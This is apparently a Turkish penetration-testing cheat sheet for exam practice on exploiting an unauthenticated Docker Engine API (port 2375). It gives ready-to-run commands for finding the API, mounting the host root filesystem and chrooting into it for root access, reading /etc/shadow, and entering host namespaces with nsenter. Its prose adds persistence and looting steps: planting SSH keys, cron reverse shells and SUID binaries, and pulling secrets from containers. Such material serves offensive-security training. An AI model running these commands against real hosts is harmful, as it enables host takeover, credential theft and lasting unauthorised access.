FOOTHOLD Metodoloji Cheat-sheet
2375

Docker Engine API (unauthenticated)

linux

Docker daemon TCP API (2375 cleartext, 2376 TLS). Kimlik dogrulamasiz acik kalmissa, uzak istemci ile host'ta privileged/host-mount container baslatip docker grubu = root prensibiyle host'a escape edilir.

┌──

Komutlar

nmap ✓ EXAM-SAFE
nmap -sV -Pn -p 2375,2376 {{RHOST}}
Docker API portlarinin (cleartext 2375 / TLS 2376) tespiti ve versiyon HackTricks - 2375,2376 Pentesting Docker
curl ✓ EXAM-SAFE
curl -s http://{{RHOST}}:2375/version
Docker API kimlik dogrulamasiz erisilebilir mi - version endpoint ile hizli dogrulama HackTricks - 2375,2376 Pentesting Docker
docker ✓ EXAM-SAFE
docker -H tcp://{{RHOST}}:2375 info
Uzak Docker daemon'a baglan; host bilgisi, imaj/container sayisi ve daemon ayarlarini al HackTricks - 2375,2376 Pentesting Docker
docker ✓ EXAM-SAFE
docker -H tcp://{{RHOST}}:2375 images
Host'ta escape icin kullanilabilecek mevcut base imajlari listele HackTricks - 2375,2376 Pentesting Docker
docker ✓ EXAM-SAFE
docker -H tcp://{{RHOST}}:2375 run --rm -v /:/mnt -it alpine chroot /mnt sh
Host kok dosya sistemini container'a mount edip chroot ile host'a escape (root RCE) GTFOBins / Docker - host filesystem mount
docker ✓ EXAM-SAFE
docker -H tcp://{{RHOST}}:2375 run --rm -v /:/mnt alpine sh -c "cat /mnt/etc/shadow"
Host /etc/shadow dosyasini container uzerinden oku (hash cracking icin loot) HackTricks - Docker Breakout / Privilege Escalation
docker ✓ EXAM-SAFE
docker -H tcp://{{RHOST}}:2375 run --rm --privileged --net=host --pid=host -it alpine nsenter -t 1 -m -u -n -i sh
Privileged container + host namespace'leri (pid/net) ile init process baglaminda host shell HackTricks - Docker Breakout / Privilege Escalation

Servis Hakkinda

Docker Engine REST API’sini TCP uzerinden dinleyebilir: 2375/TCP sifresiz (cleartext), 2376/TCP TLS ile. Yanlis yapilandirma sonucu 2375 disariya kimlik dogrulamasiz acik birakilirsa, uzaktan tam Docker kontrolu elde edilir. Docker daemon root olarak calistigi icin bu pratikte host uzerinde root RCE demektir (docker grubuna uyelik root’a esdegerdir).

Enumeration

nmap ile 2375/2376 acik mi kontrol et. En hizli dogrulama: DOCKER_HOST ortam degiskenini hedefe yonlendirip docker info / docker version calistirmak; cevap geliyorsa API kimlik dogrulamasiz aciktir. API’ye dogrudan HTTP ile de erisilebilir (curl http://{{RHOST}}:2375/version, /containers/json, /images/json). Mevcut imajlari listele - host’ta hazir bir base image (alpine, ubuntu, busybox) escape icin kullanilir.

Sömuru (Host’a Escape)

Klasik teknik: host kok dosya sistemini (/) bir container icine mount edip chroot ile host’a gecmek.

  • docker -H tcp://{{RHOST}}:2375 run -v /:/mnt --rm -it <image> chroot /mnt sh ile host root fs’ine tam erisim.
  • Alternatif: --privileged --net=host --pid=host ile baslatip host namespace’lerine gir.
  • Host fs mount edildikten sonra: /etc/shadow oku, /root/.ssh/authorized_keys’e anahtar yaz, cron ile reverse shell ekle veya SUID binary yerlestir. Hedefte hic imaj yoksa, kucuk bir imaji (alpine) once docker pull ile cek (internet varsa) ya da docker import ile yukle.

Pivot / Loot Notlari

Host root erisimi alindiktan sonra container’lardan credential topla: calisan container’larin environment degiskenleri (docker inspect) sik sik DB sifresi, API anahtari icerir. /var/lib/docker/ icindeki volume’lar ve diger container fs’leri loot icin onemlidir. authorized_keys’e anahtar ekleyip SSH ile kalici, temiz bir erisim kur; reverse shell aldiysan TTY’yi python3 -c 'import pty; pty.spawn("/bin/bash")' ile yukselt.

┌──

İlgili teknikler

┌──

Kaynaklar

0/15 set